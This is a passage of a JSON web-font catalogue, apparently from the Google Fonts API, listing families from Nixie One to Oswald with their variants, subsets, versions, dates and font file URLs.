One","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/nixieone/v11/lW-8wjkKLXjg5y2o2uUoUOFzpS-yLw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Nobile","variants":["regular","italic","500","500italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/nobile/v12/m8JTjflSeaOVl1i2XqfXeLVdbw.ttf","italic":"http://fonts.gstatic.com/s/nobile/v12/m8JRjflSeaOVl1iGXK3TWrBNb3OD.ttf","500":"http://fonts.gstatic.com/s/nobile/v12/m8JQjflSeaOVl1iOqo7zcJ5BZmqa3A.ttf","500italic":"http://fonts.gstatic.com/s/nobile/v12/m8JWjflSeaOVl1iGXJUnc5RFRG-K3Mud.ttf","700":"http://fonts.gstatic.com/s/nobile/v12/m8JQjflSeaOVl1iO4ojzcJ5BZmqa3A.ttf","700italic":"http://fonts.gstatic.com/s/nobile/v12/m8JWjflSeaOVl1iGXJVvdZRFRG-K3Mud.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Nokora","variants":["regular","700"],"subsets":["khmer"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/nokora/v14/hYkIPuwgTubzaWxQOzoPovZg8Q.ttf","700":"http://fonts.gstatic.com/s/nokora/v14/hYkLPuwgTubzaWxohxUrqt18-B9Uuw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Norican","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/norican/v9/MwQ2bhXp1eSBqjkPGJJRtGs-lbA.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Nosifer","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/nosifer/v9/ZGjXol5JTp0g5bxZaC1RVDNdGDs.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Notable","variants":["regular"],"subsets":["latin"],"version":"v6","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/notable/v6/gNMEW3N_SIqx-WX9-HMoFIez5MI.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Nothing You Could Do","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/nothingyoucoulddo/v10/oY1B8fbBpaP5OX3DtrRYf_Q2BPB1SnfZb0OJl1ol2Ymo.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Noticia Text","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/noticiatext/v10/VuJ2dNDF2Yv9qppOePKYRP1GYTFZt0rNpQ.ttf","italic":"http://fonts.gstatic.com/s/noticiatext/v10/VuJodNDF2Yv9qppOePKYRP12YztdlU_dpSjt.ttf","700":"http://fonts.gstatic.com/s/noticiatext/v10/VuJpdNDF2Yv9qppOePKYRP1-3R59v2HRrDH0eA.ttf","700italic":"http://fonts.gstatic.com/s/noticiatext/v10/VuJrdNDF2Yv9qppOePKYRP12YwPhumvVjjTkeMnz.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Noto Sans","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","devanagari","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v11","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/notosans/v11/o-0IIpQlx3QUlC5A4PNb4j5Ba_2c7A.ttf","italic":"http://fonts.gstatic.com/s/notosans/v11/o-0OIpQlx3QUlC5A4PNr4DRFSfiM7HBj.ttf","700":"http://fonts.gstatic.com/s/notosans/v11/o-0NIpQlx3QUlC5A4PNjXhFlY9aA5Wl6PQ.ttf","700italic":"http://fonts.gstatic.com/s/notosans/v11/o-0TIpQlx3QUlC5A4PNr4Az5ZtyEx2xqPaif.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Noto Sans HK","variants":["100","300","regular","500","700","900"],"subsets":["chinese-hongkong","latin"],"version":"v6","lastModified":"2020-11-12","files":{"100":"http://fonts.gstatic.com/s/notosanshk/v6/nKKO-GM_FYFRJvXzVXaAPe9ZUHp1MOv2ObB7.otf","300":"http://fonts.gstatic.com/s/notosanshk/v6/nKKP-GM_FYFRJvXzVXaAPe9ZmFhTHMX6MKliqQ.otf","regular":"http://fonts.gstatic.com/s/notosanshk/v6/nKKQ-GM_FYFRJvXzVXaAPe9hMnB3Eu7mOQ.otf","500":"http://fonts.gstatic.com/s/notosanshk/v6/nKKP-GM_FYFRJvXzVXaAPe9ZwFlTHMX6MKliqQ.otf","700":"http://fonts.gstatic.com/s/notosanshk/v6/nKKP-GM_FYFRJvXzVXaAPe9ZiF9THMX6MKliqQ.otf","900":"http://fonts.gstatic.com/s/notosanshk/v6/nKKP-GM_FYFRJvXzVXaAPe9ZsF1THMX6MKliqQ.otf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Noto Sans JP","variants":["100","300","regular","500","700","900"],"subsets":["japanese","latin"],"version":"v28","lastModified":"2020-11-12","files":{"100":"http://fonts.gstatic.com/s/notosansjp/v28/-F6ofjtqLzI2JPCgQBnw7HFQoggM-FNthvIU.otf","300":"http://fonts.gstatic.com/s/notosansjp/v28/-F6pfjtqLzI2JPCgQBnw7HFQaioq1H1hj-sNFQ.otf","regular":"http://fonts.gstatic.com/s/notosansjp/v28/-F62fjtqLzI2JPCgQBnw7HFowAIO2lZ9hg.otf","500":"http://fonts.gstatic.com/s/notosansjp/v28/-F6pfjtqLzI2JPCgQBnw7HFQMisq1H1hj-sNFQ.otf","700":"http://fonts.gstatic.com/s/notosansjp/v28/-F6pfjtqLzI2JPCgQBnw7HFQei0q1H1hj-sNFQ.otf","900":"http://fonts.gstatic.com/s/notosansjp/v28/-F6pfjtqLzI2JPCgQBnw7HFQQi8q1H1hj-sNFQ.otf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Noto Sans KR","variants":["100","300","regular","500","700","900"],"subsets":["korean","latin"],"version":"v13","lastModified":"2020-11-12","files":{"100":"http://fonts.gstatic.com/s/notosanskr/v13/Pby6FmXiEBPT4ITbgNA5CgmOsn7uwpYcuH8y.otf","300":"http://fonts.gstatic.com/s/notosanskr/v13/Pby7FmXiEBPT4ITbgNA5CgmOelzI7rgQsWYrzw.otf","regular":"http://fonts.gstatic.com/s/notosanskr/v13/PbykFmXiEBPT4ITbgNA5Cgm20HTs4JMMuA.otf","500":"http://fonts.gstatic.com/s/notosanskr/v13/Pby7FmXiEBPT4ITbgNA5CgmOIl3I7rgQsWYrzw.otf","700":"http://fonts.gstatic.com/s/notosanskr/v13/Pby7FmXiEBPT4ITbgNA5CgmOalvI7rgQsWYrzw.otf","900":"http://fonts.gstatic.com/s/notosanskr/v13/Pby7FmXiEBPT4ITbgNA5CgmOUlnI7rgQsWYrzw.otf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Noto Sans SC","variants":["100","300","regular","500","700","900"],"subsets":["chinese-simplified","latin"],"version":"v12","lastModified":"2020-11-12","files":{"100":"http://fonts.gstatic.com/s/notosanssc/v12/k3kJo84MPvpLmixcA63oeALZTYKL2wv287Sb.otf","300":"http://fonts.gstatic.com/s/notosanssc/v12/k3kIo84MPvpLmixcA63oeALZhaCt9yX6-q2CGg.otf","regular":"http://fonts.gstatic.com/s/notosanssc/v12/k3kXo84MPvpLmixcA63oeALhL4iJ-Q7m8w.otf","500":"http://fonts.gstatic.com/s/notosanssc/v12/k3kIo84MPvpLmixcA63oeALZ3aGt9yX6-q2CGg.otf","700":"http://fonts.gstatic.com/s/notosanssc/v12/k3kIo84MPvpLmixcA63oeALZlaet9yX6-q2CGg.otf","900":"http://fonts.gstatic.com/s/notosanssc/v12/k3kIo84MPvpLmixcA63oeALZraWt9yX6-q2CGg.otf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Noto Sans TC","variants":["100","300","regular","500","700","900"],"subsets":["chinese-traditional","latin"],"version":"v11","lastModified":"2020-11-12","files":{"100":"http://fonts.gstatic.com/s/notosanstc/v11/-nFlOG829Oofr2wohFbTp9i9WyEJIfNZ1sjy.otf","300":"http://fonts.gstatic.com/s/notosanstc/v11/-nFkOG829Oofr2wohFbTp9i9kwMvDd1V39Hr7g.otf","regular":"http://fonts.gstatic.com/s/notosanstc/v11/-nF7OG829Oofr2wohFbTp9iFOSsLA_ZJ1g.otf","500":"http://fonts.gstatic.com/s/notosanstc/v11/-nFkOG829Oofr2wohFbTp9i9ywIvDd1V39Hr7g.otf","700":"http://fonts.gstatic.com/s/notosanstc/v11/-nFkOG829Oofr2wohFbTp9i9gwQvDd1V39Hr7g.otf","900":"http://fonts.gstatic.com/s/notosanstc/v11/-nFkOG829Oofr2wohFbTp9i9uwYvDd1V39Hr7g.otf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Noto Serif","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v9","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/notoserif/v9/ga6Iaw1J5X9T9RW6j9bNTFAcaRi_bMQ.ttf","italic":"http://fonts.gstatic.com/s/notoserif/v9/ga6Kaw1J5X9T9RW6j9bNfFIWbTq6fMRRMw.ttf","700":"http://fonts.gstatic.com/s/notoserif/v9/ga6Law1J5X9T9RW6j9bNdOwzTRCUcM1IKoY.ttf","700italic":"http://fonts.gstatic.com/s/notoserif/v9/ga6Vaw1J5X9T9RW6j9bNfFIu0RWedO9NOoYIDg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Noto Serif JP","variants":["200","300","regular","500","600","700","900"],"subsets":["japanese","latin"],"version":"v8","lastModified":"2020-11-12","files":{"200":"http://fonts.gstatic.com/s/notoserifjp/v8/xn77YHs72GKoTvER4Gn3b5eMZBaPRkgfU8fEwb0.otf","300":"http://fonts.gstatic.com/s/notoserifjp/v8/xn77YHs72GKoTvER4Gn3b5eMZHKMRkgfU8fEwb0.otf","regular":"http://fonts.gstatic.com/s/notoserifjp/v8/xn7mYHs72GKoTvER4Gn3b5eMXNikYkY0T84.otf","500":"http://fonts.gstatic.com/s/notoserifjp/v8/xn77YHs72GKoTvER4Gn3b5eMZCqNRkgfU8fEwb0.otf","600":"http://fonts.gstatic.com/s/notoserifjp/v8/xn77YHs72GKoTvER4Gn3b5eMZAaKRkgfU8fEwb0.otf","700":"http://fonts.gstatic.com/s/notoserifjp/v8/xn77YHs72GKoTvER4Gn3b5eMZGKLRkgfU8fEwb0.otf","900":"http://fonts.gstatic.com/s/notoserifjp/v8/xn77YHs72GKoTvER4Gn3b5eMZFqJRkgfU8fEwb0.otf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Noto Serif KR","variants":["200","300","regular","500","600","700","900"],"subsets":["korean","latin"],"version":"v7","lastModified":"2020-11-12","files":{"200":"http://fonts.gstatic.com/s/notoserifkr/v7/3JnmSDn90Gmq2mr3blnHaTZXTihC8O1ZNH1ahck.otf","300":"http://fonts.gstatic.com/s/notoserifkr/v7/3JnmSDn90Gmq2mr3blnHaTZXTkxB8O1ZNH1ahck.otf","regular":"http://fonts.gstatic.com/s/notoserifkr/v7/3Jn7SDn90Gmq2mr3blnHaTZXduZp1ONyKHQ.otf","500":"http://fonts.gstatic.com/s/notoserifkr/v7/3JnmSDn90Gmq2mr3blnHaTZXThRA8O1ZNH1ahck.otf","600":"http://fonts.gstatic.com/s/notoserifkr/v7/3JnmSDn90Gmq2mr3blnHaTZXTjhH8O1ZNH1ahck.otf","700":"http://fonts.gstatic.com/s/notoserifkr/v7/3JnmSDn90Gmq2mr3blnHaTZXTlxG8O1ZNH1ahck.otf","900":"http://fonts.gstatic.com/s/notoserifkr/v7/3JnmSDn90Gmq2mr3blnHaTZXTmRE8O1ZNH1ahck.otf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Noto Serif SC","variants":["200","300","regular","500","600","700","900"],"subsets":["chinese-simplified","latin"],"version":"v8","lastModified":"2020-11-12","files":{"200":"http://fonts.gstatic.com/s/notoserifsc/v8/H4c8BXePl9DZ0Xe7gG9cyOj7mm63SzZBEtERe7U.otf","300":"http://fonts.gstatic.com/s/notoserifsc/v8/H4c8BXePl9DZ0Xe7gG9cyOj7mgq0SzZBEtERe7U.otf","regular":"http://fonts.gstatic.com/s/notoserifsc/v8/H4chBXePl9DZ0Xe7gG9cyOj7oqCcbzhqDtg.otf","500":"http://fonts.gstatic.com/s/notoserifsc/v8/H4c8BXePl9DZ0Xe7gG9cyOj7mlK1SzZBEtERe7U.otf","600":"http://fonts.gstatic.com/s/notoserifsc/v8/H4c8BXePl9DZ0Xe7gG9cyOj7mn6ySzZBEtERe7U.otf","700":"http://fonts.gstatic.com/s/notoserifsc/v8/H4c8BXePl9DZ0Xe7gG9cyOj7mhqzSzZBEtERe7U.otf","900":"http://fonts.gstatic.com/s/notoserifsc/v8/H4c8BXePl9DZ0Xe7gG9cyOj7miKxSzZBEtERe7U.otf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Noto Serif TC","variants":["200","300","regular","500","600","700","900"],"subsets":["chinese-traditional","latin"],"version":"v8","lastModified":"2020-11-12","files":{"200":"http://fonts.gstatic.com/s/notoseriftc/v8/XLY9IZb5bJNDGYxLBibeHZ0Bvr8vbX9GTsoOAX4.otf","300":"http://fonts.gstatic.com/s/notoseriftc/v8/XLY9IZb5bJNDGYxLBibeHZ0BvtssbX9GTsoOAX4.otf","regular":"http://fonts.gstatic.com/s/notoseriftc/v8/XLYgIZb5bJNDGYxLBibeHZ0BhnEESXFtUsM.otf","500":"http://fonts.gstatic.com/s/notoseriftc/v8/XLY9IZb5bJNDGYxLBibeHZ0BvoMtbX9GTsoOAX4.otf","600":"http://fonts.gstatic.com/s/notoseriftc/v8/XLY9IZb5bJNDGYxLBibeHZ0Bvq8qbX9GTsoOAX4.otf","700":"http://fonts.gstatic.com/s/notoseriftc/v8/XLY9IZb5bJNDGYxLBibeHZ0BvssrbX9GTsoOAX4.otf","900":"http://fonts.gstatic.com/s/notoseriftc/v8/XLY9IZb5bJNDGYxLBibeHZ0BvvMpbX9GTsoOAX4.otf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Nova Cut","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/novacut/v12/KFOkCnSYu8mL-39LkWxPKTM1K9nz.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Nova Flat","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/novaflat/v12/QdVUSTc-JgqpytEbVebEuStkm20oJA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Nova Mono","variants":["regular"],"subsets":["greek","latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/novamono/v11/Cn-0JtiGWQ5Ajb--MRKfYGxYrdM9Sg.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Nova Oval","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/novaoval/v12/jAnEgHdmANHvPenMaswCMY-h3cWkWg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Nova Round","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/novaround/v12/flU9Rqquw5UhEnlwTJYTYYfeeetYEBc.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Nova Script","variants":["regular"],"subsets":["latin"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/novascript/v13/7Au7p_IpkSWSTWaFWkumvmQNEl0O0kEx.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Nova Slim","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/novaslim/v12/Z9XUDmZNQAuem8jyZcn-yMOInrib9Q.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Nova Square","variants":["regular"],"subsets":["latin"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/novasquare/v13/RrQUbo9-9DV7b06QHgSWsZhARYMgGtWA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Numans","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/numans/v10/SlGRmQmGupYAfH8IYRggiHVqaQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Nunito","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v16","lastModified":"2020-11-25","files":{"200":"http://fonts.gstatic.com/s/nunito/v16/XRXW3I6Li01BKofA-sekZuHJeTsfDQ.ttf","200italic":"http://fonts.gstatic.com/s/nunito/v16/XRXQ3I6Li01BKofIMN5MZ-vNWz4PDWtj.ttf","300":"http://fonts.gstatic.com/s/nunito/v16/XRXW3I6Li01BKofAnsSkZuHJeTsfDQ.ttf","300italic":"http://fonts.gstatic.com/s/nunito/v16/XRXQ3I6Li01BKofIMN4oZOvNWz4PDWtj.ttf","regular":"http://fonts.gstatic.com/s/nunito/v16/XRXV3I6Li01BKof4MuyAbsrVcA.ttf","italic":"http://fonts.gstatic.com/s/nunito/v16/XRXX3I6Li01BKofIMOaETM_FcCIG.ttf","600":"http://fonts.gstatic.com/s/nunito/v16/XRXW3I6Li01BKofA6sKkZuHJeTsfDQ.ttf","600italic":"http://fonts.gstatic.com/s/nunito/v16/XRXQ3I6Li01BKofIMN5cYuvNWz4PDWtj.ttf","700":"http://fonts.gstatic.com/s/nunito/v16/XRXW3I6Li01BKofAjsOkZuHJeTsfDQ.ttf","700italic":"http://fonts.gstatic.com/s/nunito/v16/XRXQ3I6Li01BKofIMN44Y-vNWz4PDWtj.ttf","800":"http://fonts.gstatic.com/s/nunito/v16/XRXW3I6Li01BKofAksCkZuHJeTsfDQ.ttf","800italic":"http://fonts.gstatic.com/s/nunito/v16/XRXQ3I6Li01BKofIMN4kYOvNWz4PDWtj.ttf","900":"http://fonts.gstatic.com/s/nunito/v16/XRXW3I6Li01BKofAtsGkZuHJeTsfDQ.ttf","900italic":"http://fonts.gstatic.com/s/nunito/v16/XRXQ3I6Li01BKofIMN4AYevNWz4PDWtj.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Nunito Sans","variants":["200","200italic","300","300italic","regular","italic","600","600italic","700","700italic","800","800italic","900","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v6","lastModified":"2020-09-10","files":{"200":"http://fonts.gstatic.com/s/nunitosans/v6/pe03MImSLYBIv1o4X1M8cc9yAv5qWVAgVol-.ttf","200italic":"http://fonts.gstatic.com/s/nunitosans/v6/pe01MImSLYBIv1o4X1M8cce4GxZrU1QCU5l-06Y.ttf","300":"http://fonts.gstatic.com/s/nunitosans/v6/pe03MImSLYBIv1o4X1M8cc8WAf5qWVAgVol-.ttf","300italic":"http://fonts.gstatic.com/s/nunitosans/v6/pe01MImSLYBIv1o4X1M8cce4G3JoU1QCU5l-06Y.ttf","regular":"http://fonts.gstatic.com/s/nunitosans/v6/pe0qMImSLYBIv1o4X1M8cfe6Kdpickwp.ttf","italic":"http://fonts.gstatic.com/s/nunitosans/v6/pe0oMImSLYBIv1o4X1M8cce4I95Ad1wpT5A.ttf","600":"http://fonts.gstatic.com/s/nunitosans/v6/pe03MImSLYBIv1o4X1M8cc9iB_5qWVAgVol-.ttf","600italic":"http://fonts.gstatic.com/s/nunitosans/v6/pe01MImSLYBIv1o4X1M8cce4GwZuU1QCU5l-06Y.ttf","700":"http://fonts.gstatic.com/s/nunitosans/v6/pe03MImSLYBIv1o4X1M8cc8GBv5qWVAgVol-.ttf","700italic":"http://fonts.gstatic.com/s/nunitosans/v6/pe01MImSLYBIv1o4X1M8cce4G2JvU1QCU5l-06Y.ttf","800":"http://fonts.gstatic.com/s/nunitosans/v6/pe03MImSLYBIv1o4X1M8cc8aBf5qWVAgVol-.ttf","800italic":"http://fonts.gstatic.com/s/nunitosans/v6/pe01MImSLYBIv1o4X1M8cce4G35sU1QCU5l-06Y.ttf","900":"http://fonts.gstatic.com/s/nunitosans/v6/pe03MImSLYBIv1o4X1M8cc8-BP5qWVAgVol-.ttf","900italic":"http://fonts.gstatic.com/s/nunitosans/v6/pe01MImSLYBIv1o4X1M8cce4G1ptU1QCU5l-06Y.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Odibee Sans","variants":["regular"],"subsets":["latin"],"version":"v2","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/odibeesans/v2/neIPzCSooYAho6WvjeToRYkyepH9qGsf.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Odor Mean Chey","variants":["regular"],"subsets":["khmer"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/odormeanchey/v12/raxkHiKDttkTe1aOGcJMR1A_4mrY2zqUKafv.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Offside","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/offside/v8/HI_KiYMWKa9QrAykQ5HiRp-dhpQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Old Standard TT","variants":["regular","italic","700"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/oldstandardtt/v13/MwQubh3o1vLImiwAVvYawgcf2eVurVC5RHdCZg.ttf","italic":"http://fonts.gstatic.com/s/oldstandardtt/v13/MwQsbh3o1vLImiwAVvYawgcf2eVer1q9ZnJSZtQG.ttf","700":"http://fonts.gstatic.com/s/oldstandardtt/v13/MwQrbh3o1vLImiwAVvYawgcf2eVWEX-dTFxeb80flQ.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Oldenburg","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/oldenburg/v8/fC1jPY5JYWzbywv7c4V6UU6oXyndrw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Oleo Script","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/oleoscript/v9/rax5HieDvtMOe0iICsUccBhasU7Q8Cad.ttf","700":"http://fonts.gstatic.com/s/oleoscript/v9/raxkHieDvtMOe0iICsUccCDmnmrY2zqUKafv.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Oleo Script Swash Caps","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/oleoscriptswashcaps/v8/Noaj6Vb-w5SFbTTAsZP_7JkCS08K-jCzDn_HMXquSY0Hg90.ttf","700":"http://fonts.gstatic.com/s/oleoscriptswashcaps/v8/Noag6Vb-w5SFbTTAsZP_7JkCS08K-jCzDn_HCcaBbYUsn9T5dt0.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Open Sans","variants":["300","300italic","regular","italic","600","600italic","700","700italic","800","800italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v18","lastModified":"2020-09-15","files":{"300":"http://fonts.gstatic.com/s/opensans/v18/mem5YaGs126MiZpBA-UN_r8-VeJoCqeDjg.ttf","300italic":"http://fonts.gstatic.com/s/opensans/v18/memnYaGs126MiZpBA-UFUKWyV-hsKKKTjrPW.ttf","regular":"http://fonts.gstatic.com/s/opensans/v18/mem8YaGs126MiZpBA-U1UpcaXcl0Aw.ttf","italic":"http://fonts.gstatic.com/s/opensans/v18/mem6YaGs126MiZpBA-UFUJ0ef8xkA76a.ttf","600":"http://fonts.gstatic.com/s/opensans/v18/mem5YaGs126MiZpBA-UNirk-VeJoCqeDjg.ttf","600italic":"http://fonts.gstatic.com/s/opensans/v18/memnYaGs126MiZpBA-UFUKXGUehsKKKTjrPW.ttf","700":"http://fonts.gstatic.com/s/opensans/v18/mem5YaGs126MiZpBA-UN7rg-VeJoCqeDjg.ttf","700italic":"http://fonts.gstatic.com/s/opensans/v18/memnYaGs126MiZpBA-UFUKWiUOhsKKKTjrPW.ttf","800":"http://fonts.gstatic.com/s/opensans/v18/mem5YaGs126MiZpBA-UN8rs-VeJoCqeDjg.ttf","800italic":"http://fonts.gstatic.com/s/opensans/v18/memnYaGs126MiZpBA-UFUKW-U-hsKKKTjrPW.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Open Sans Condensed","variants":["300","300italic","700"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext","vietnamese"],"version":"v15","lastModified":"2020-09-10","files":{"300":"http://fonts.gstatic.com/s/opensanscondensed/v15/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff1GhPuLGRpWRyAs.ttf","300italic":"http://fonts.gstatic.com/s/opensanscondensed/v15/z7NHdQDnbTkabZAIOl9il_O6KJj73e7Fd_-7suDMQreU2AsJSg.ttf","700":"http://fonts.gstatic.com/s/opensanscondensed/v15/z7NFdQDnbTkabZAIOl9il_O6KJj73e7Ff0GmPuLGRpWRyAs.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Oranienbaum","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/oranienbaum/v9/OZpHg_txtzZKMuXLIVrx-3zn7kz3dpHc.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Orbitron","variants":["regular","500","600","700","800","900"],"subsets":["latin"],"version":"v16","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/orbitron/v16/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nyGy6xpmIyXjU1pg.ttf","500":"http://fonts.gstatic.com/s/orbitron/v16/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nyKS6xpmIyXjU1pg.ttf","600":"http://fonts.gstatic.com/s/orbitron/v16/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nyxSmxpmIyXjU1pg.ttf","700":"http://fonts.gstatic.com/s/orbitron/v16/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1ny_CmxpmIyXjU1pg.ttf","800":"http://fonts.gstatic.com/s/orbitron/v16/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nymymxpmIyXjU1pg.ttf","900":"http://fonts.gstatic.com/s/orbitron/v16/yMJMMIlzdpvBhQQL_SC3X9yhF25-T1nysimxpmIyXjU1pg.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Oregano","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/oregano/v8/If2IXTPxciS3H4S2kZffPznO3yM.ttf","italic":"http://fonts.gstatic.com/s/oregano/v8/If2KXTPxciS3H4S2oZXVOxvLzyP_qw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Orienta","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/orienta/v8/PlI9FlK4Jrl5Y9zNeyeo9HRFhcU.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Original Surfer","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/originalsurfer/v9/RWmQoKGZ9vIirYntXJ3_MbekzNMiDEtvAlaMKw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Oswald","variants":["200","300","regular","500","600","700"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v35","lastModified":"2020-07-13","files":{"200":"http://fonts.gstatic.com/s/oswald/v35/TK3_WkUHHAIjg75cFRf3bXL8LICs13FvgUFoZAaRliE.ttf","300":"http://fonts.gstatic.com/s/oswald/v35/TK3_WkUHHAIjg75cFRf3bXL8LICs169vgUFoZAaRliE.ttf","regular":"http://fonts.gstatic.com/s/oswald/v35/TK3_WkUHHAIjg75cFRf3bXL8LICs1_FvgUFoZAaRliE.ttf","500":"http://fonts.gstatic.com/s/oswald/v35/TK3_WkUHHAIjg75cFRf3bXL8LICs18NvgUFoZAaRliE.ttf","600":"http://fonts.gstatic.com/s/oswald/v35/TK3_WkUHHAIjg75cFRf3bXL8LICs1y9ogUFoZAaRliE.ttf","700":"http://fonts.gstatic.com/s/oswald/v35/TK3_WkUHHAIjg75cFRf3bXL8LICs1xZogUFoZAaRliE.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Over the 